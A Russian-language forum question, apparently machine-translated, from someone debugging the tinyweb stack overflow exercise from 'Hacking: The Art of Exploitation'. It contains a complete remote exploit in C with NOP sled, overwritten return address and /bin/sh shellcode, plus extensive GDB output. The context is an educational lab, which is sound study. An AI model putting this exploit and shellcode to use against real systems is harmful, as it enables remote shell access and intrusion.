Я работаю над переполнением буфера из Искусство эксплуатации Джона Эриксона уже несколько дней, и я не понимаю, почему у меня возникает ошибка сегментации,Насколько я могу судить, адрес возврата корректно перезаписывается адресом в слое NOP, но программа выдает ошибку сегментации каждый раз, когда достигает инструкции возврата в конце кадра стека.
Уязвимым разделом кода является length = recv_line(sockfd, request);
, поскольку размер буфера никогда не проверяется.Вся функция, взятая из программы tinyweb, следует -
void (handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr)){
unsigned char *ptr, request[500], resource[500];
int fd, length;
printf("[DEBUG] hc:1 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
length = recv_line(sockfd, request);
printf("[DEBUG] hc:2 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);
printf("[DEBUG] hc:3 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
ptr = strstr(request, " HTTP/");
if(ptr == NULL){
printf(" NOT HTTP!\n");
} else {
*ptr = 0;
ptr = NULL;
if(strncmp(request, "GET ", 4) == 0)
ptr = request + 4;
if(strncmp(request, "HEAD ", 5) ==0)
ptr = request + 5;
if(ptr == NULL){
printf("\tUNKNOWN REQUEST!");
}
else {
if(ptr[strlen(ptr) -1] == '/')
strcat(ptr, "index.html");
strcpy(resource, WEBROOT);
strcat(resource, ptr);
fd = open(resource, O_RDONLY, 0);
printf("\tOpening \'%s\'\t", resource);
if(fd == -1){
printf(" 404 Not Found\n");
send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n");
send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
send_string(sockfd, "<html><head><title>404 Not Found</title></head>");
send_string(sockfd, "<body><h1>URL not found</h1></body></html>\r\n");
}
else{
printf(" 200 OK\n");
send_string(sockfd, "HTTP/1.0 200 OK\r\n");
send_string(sockfd, "Server Tiny webserver\r\n\r\n");
if(ptr == request + 4){
if( (length = get_file_size(fd)) == -1)
fatal("getting resource file size");
if( (ptr = (unsigned char *) malloc(length)) == NULL)
fatal("allocating memory for reading resource");
read(fd, ptr, length);
send(sockfd, ptr, length, 0);
free(ptr);
}
close(fd);
}
}
}
printf("Shutting down socket.\n");
shutdown(sockfd, SHUT_RDWR);
printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
}
Код эксплойта следует ниже -
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "hacking.h"
#include "hacking-network.h"
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
#define OFFSET 524
#define RETADDR 0xbfdaf708
int main(int argc, char *argv[]){
int i, sockfd, buflen; //, count;
struct hostent *host_info;
struct sockaddr_in target_addr;
unsigned char buffer[600];
if(argc < 1){
printf("Usage: %s <hostname> <# of A's to insert>\n", argv[0]);
exit(1);
}
if((host_info = gethostbyname(argv[1])) == NULL)
fatal("looking up hostname");
if((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("in socket");
//count = atoi(argv[2]);
//printf("Count: %d\n", count);
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(81);
target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
memset(&(target_addr.sin_zero), '\0', 8);
if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
fatal("connecting to target server");
bzero(buffer, 600);
memset(buffer, '\x90', OFFSET);
*((u_int *)(buffer + OFFSET)) = RETADDR;
memcpy(buffer+300, shellcode, strlen(shellcode));
strcat(buffer, "\r\n");
printf("Exploit buffer:\n");
dump(buffer, strlen(buffer));
send_string(sockfd, buffer);
exit(0);
}
Вот информация из GDB
:~/programs/c/exec$ ps aux | grep tinyweb
2747 0.1 2.3 97432 48012 pts/1 Sl Dec15 2:37 gedit tinyweb_exploit.c
root 12444 0.0 0.0 1688 248 pts/2 S+ 18:32 0:00 ./tinyweb
12456 0.0 0.0 4012 768 pts/0 S+ 18:33 0:00 grep --color=auto tinyweb
:~/programs/c/exec$ sudo gdb -q --pid=12444 --symbols=./tinyweb
warning: not using untrusted file "/home/sam/.gdbinit"
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Attaching to process 12444
Load new symbol table from "/home/sam/programs/c/exec/tinyweb"? (y or n) y
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0x001c3416 in __kernel_vsyscall ()
(gdb) break 74
Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
(gdb) c
Continuing.
Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74 printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),
ntohs(client_addr_ptr->sin_port), request);
(gdb) x/16xw request + 500
0xbfcee1a4: 0x0099bad0 0x00aad4e0 0x0000000f 0xbfcee1c4
0xbfcee1b4: 0x00aacff4 0xbfcee218 0x08048e2f 0x00000004
0xbfcee1c4: 0xbfcee1e4 0x00000004 0xbfcee204 0x00000004
0xbfcee1d4: 0x0804aff4 0xbfcee1e8 0x08048658 0x00000010
(gdb) bt
#0 handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
#1 0x08048e2f in main () at ../code/tinyweb.c:60
(gdb) x/x request
0xbfcedfb0: 0x20544547
(gdb) p /x 0xbfcee1b4 + 8
$5 = 0xbfcee1bc
(gdb) p $5 - 0xbfcedfb0
$6 = 524
(gdb) p /x 0xbfcedfb0 + 200
$7 = 0xbfcee078
(gdb) c
Continuing.
Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74 printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),
ntohs(client_addr_ptr->sin_port), request);
(gdb) x/150xw request
0xbfcedfb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcedfc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcedfd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcedfe0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcedff0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee000: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee010: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee020: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee030: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee040: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee050: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee060: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee070: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee080: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee090: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee0a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee0b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee0c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee0d0: 0x90909090 0x90909090 0x90909090 0xdb31c031
0xbfcee0e0: 0xb099c931 0x6a80cda4 0x6851580b 0x68732f2f
0xbfcee0f0: 0x69622f68 0x51e3896e 0x8953e289 0x9080cde1
0xbfcee100: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee110: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee120: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee130: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee140: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee150: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee160: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee170: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee180: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee190: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee1a0: 0x90909090 0x90909090 0x90909090 0x00000211
0xbfcee1b0: 0x90909090 0x90909090 0x90909090 0xbfcee078
0xbfcee1c0: 0x0000000d 0xbfcee1e4 0x00000005 0xbfcee204
0xbfcee1d0: 0x00000004 0x0804aff4 0xbfcee1e8 0x08048658
0xbfcee1e0: 0x00000010 0xd4920002 0x0100007f 0x00000000
0xbfcee1f0: 0x00000000 0x51000002 0x00000000 0x00000000
0xbfcee200: 0x00000000 0x00000001
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:125
125 }
(gdb) i r eip
eip 0x80491b1 0x80491b1 <handle_connection+893>
(gdb) x/i 0x080491b1
=> 0x80491b1 <handle_connection+893>: ret
Запускается программа tinyweb, а затем к ней присоединяется GDB.Точка останова устанавливается, чтобы определить, где находится буфер в памяти (запрос @ 0xbfcedfb0
).bt
используется для определения текущего адреса возврата и его местоположения (адрес возврата 0x08048e2f
расположен по адресу 0xbfcee1bc
). Адрес возврата определяется как 524 байта из буфера.Эксплойт использует адрес возврата 200 байтов в буфере и помещает шеллкод в 300 байтов. После выполнения эксплойта проверяется буфер, содержащий след NOP, шелл-код и четко показывающий исходный адрес возврата на 0xbfcee1bc
который имел 0x08048e2f
, теперь содержащий адрес 0xbfcee078
, который явно является адресом в буфере, указывающем на NOP.Однако при продолжении программы возникает ошибка сегментации.После ошибки сегментации проверяется указатель инструкций, указывающий на строку в кадре стека соединений дескриптора.При рассмотрении это показывает инструкцию возврата.
Почему он вызывает ошибку сегментации в инструкции возврата, когда для нее есть действительный адрес памяти, чтобы он мог вернуться к ??
Редактировать 1
Я смущен Iне заметил этот шеллкод немного раньше.С другой стороны, я еще не использовал более ранние эксплойты из-за ASLR, поэтому никогда не смотрел так внимательно на шелл-код.В любом случае, вот что я изменил:
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x89\xe3\x51\x89\xe2\x53\x89\xe1"
"\xcd\x80";
............1.1.1......j.XQh//bin/sh..Q..S.....
К сожалению, я смотрю на ту же проблему.У меня есть еще немного GDB, показанное ниже.Насколько я могу судить, когда вызывается RET, переменная sockfd каким-то образом облажается, но, как показывают распечатки DEBUG, sockfd не изменяется.Я попытался пройти инструкции в конце, чтобы увидеть, что происходит, но это не показало много ...
[DEBUG] hc:3 sockfd is at bfefcae0 and contains 0x0000000d
NOT HTTP!
Shutting down socket.
[DEBUG] hc:4 sockfd is at bfefcae0 and contains 0x0000000d
Segmentation fault (core dumped)
(gdb) list 120
115 send(sockfd, ptr, length, 0);
116 free(ptr);
117 }
118 close(fd);
119 }
120 }
121 }
122 printf("Shutting down socket.\n");
123 shutdown(sockfd, SHUT_RDWR);
124 printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
125 }
126
127 int get_file_size(int fd){
128 struct stat stat_struct;
129
130 if(fstat(fd, &stat_struct) == -1)
131 return -1;
132 return (int) stat_struct.st_size;
133 }
134
(gdb) break 74
Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
(gdb) break 120
Breakpoint 2 at 0x804916f: file ../code/tinyweb.c, line 120.
Breakpoint 2, handle_connection (sockfd=13, client_addr_ptr=0xbfefcb04) at ../code/tinyweb.c:122
122 printf("Shutting down socket.\n");
(gdb) x/170xw request
0xbfefc8d0: 0x90909090 0x90909090 0x90909090 0x90909090
....Output Trimmed....
0xbfefc990: 0x90909090 0x90909090 0x90909090 0x90909090
^
...Output Trimmed.... |________________________RET address location in NOP sled
0xbfefc9f0: 0x90909090 0x90909090 0x90909090 0xdb31c031
0xbfefca00: 0xb099c931 0x6a80cda4 0x6851580b 0x69622f2f
0xbfefca10: 0x68732f6e 0x8951e389 0xe18953e2 0x909080cd
0xbfefca20: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefca30: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefca40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefca50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefca60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefca70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefca80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefca90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefcaa0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefcab0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefcac0: 0x90909090 0x00000000 0x90909090 0x00000211
0xbfefcad0: 0x90909090 0x90909090 0x90909090 0xbfefc998<= RET address
0xbfefcae0: 0x0000000d 0xbfefcb04 0x00000006 0xbfefcb24
0xbfefcaf0: 0x00000004 0x0804aff4 0xbfefcb08 0x08048658
0xbfefcb00: 0x00000010 0xd9a40002 0x0100007f 0x00000000
0xbfefcb10: 0x00000000 0x51000002 0x00000000 0x00000000
0xbfefcb20: 0x00000000 0x00000001 0x00000006 0x00000003
0xbfefcb30: 0x080491f0 0x00000000 0xbfefcbb8 0x00126ce7
0xbfefcb40: 0x00000001 0xbfefcbe4 0xbfefcbec 0xb7810848
0xbfefcb50: 0xbfefcc4c 0xffffffff 0x00b0dff4 0x08048497
0xbfefcb60: 0x00000001 0xbfefcba0 0x00aff136 0x00b0ead0
0xbfefcb70: 0xb7810b28 0x00268ff4
(gdb) bt
#0 handle_connection (sockfd=13, client_addr_ptr=0xbfefcb04) at ../code/tinyweb.c:122
#1 0xbfefc998 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) x/20i $eip
=> 0x804916f <handle_connection+827>: movl $0x804985b,(%esp)
0x8049176 <handle_connection+834>: call 0x804880c <puts@plt>
0x804917b <handle_connection+839>: mov 0x8(%ebp),%eax
0x804917e <handle_connection+842>: movl $0x2,0x4(%esp)
0x8049186 <handle_connection+850>: mov %eax,(%esp)
0x8049189 <handle_connection+853>: call 0x804868c <shutdown@plt>
0x804918e <handle_connection+858>: mov 0x8(%ebp),%edx
0x8049191 <handle_connection+861>: mov $0x8049874,%eax
0x8049196 <handle_connection+866>: mov %edx,0x8(%esp)
0x804919a <handle_connection+870>: lea 0x8(%ebp),%edx
0x804919d <handle_connection+873>: mov %edx,0x4(%esp)
0x80491a1 <handle_connection+877>: mov %eax,(%esp)
0x80491a4 <handle_connection+880>: call 0x804878c <printf@plt>
0x80491a9 <handle_connection+885>: add $0x414,%esp
0x80491af <handle_connection+891>: pop %ebx
0x80491b0 <handle_connection+892>: pop %ebp
0x80491b1 <handle_connection+893>: ret
0x80491b2 <get_file_size>: push %ebp
0x80491b3 <get_file_size+1>: mov %esp,%ebp
0x80491b5 <get_file_size+3>: sub $0x78,%esp
(gdb) s
123 shutdown(sockfd, SHUT_RDWR);
(gdb) x/x &sockfd
0xbfefcae0: 0x0000000d
(gdb) s
124 printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
(gdb) i r eip
eip 0x804918e 0x804918e <handle_connection+858>
(gdb) s
125 }
(gdb) x/10i $eip
=> 0x80491a9 <handle_connection+885>: add $0x414,%esp
0x80491af <handle_connection+891>: pop %ebx
0x80491b0 <handle_connection+892>: pop %ebp
0x80491b1 <handle_connection+893>: ret
0x80491b2 <get_file_size>: push %ebp
0x80491b3 <get_file_size+1>: mov %esp,%ebp
0x80491b5 <get_file_size+3>: sub $0x78,%esp
0x80491b8 <get_file_size+6>: lea -0x60(%ebp),%eax
0x80491bb <get_file_size+9>: mov %eax,0x4(%esp)
0x80491bf <get_file_size+13>: mov 0x8(%ebp),%eax
(gdb) si
0x080491af 125 }
(gdb) i r eip
eip 0x80491af 0x80491af <handle_connection+891>
(gdb) si
0x080491b0 125 }
(gdb) i r eip
eip 0x80491b0 0x80491b0 <handle_connection+892>
(gdb) info registers
eax 0x3b 59
ecx 0xbfefc6a8 -1074805080
edx 0x26a360 2532192
ebx 0x90909090 -1869574000
esp 0xbfefcad8 0xbfefcad8
ebp 0xbfefcad8 0xbfefcad8
esi 0x0 0
edi 0x0 0
eip 0x80491b0 0x80491b0 <handle_connection+892>
eflags 0x200286 [ PF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) si
0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:125
125 }
(gdb) x/x sockfd
Cannot access memory at address 0x90909098
(gdb) x/x &sockfd
0x90909098: Cannot access memory at address 0x90909098
Есть мысли о том, что происходит?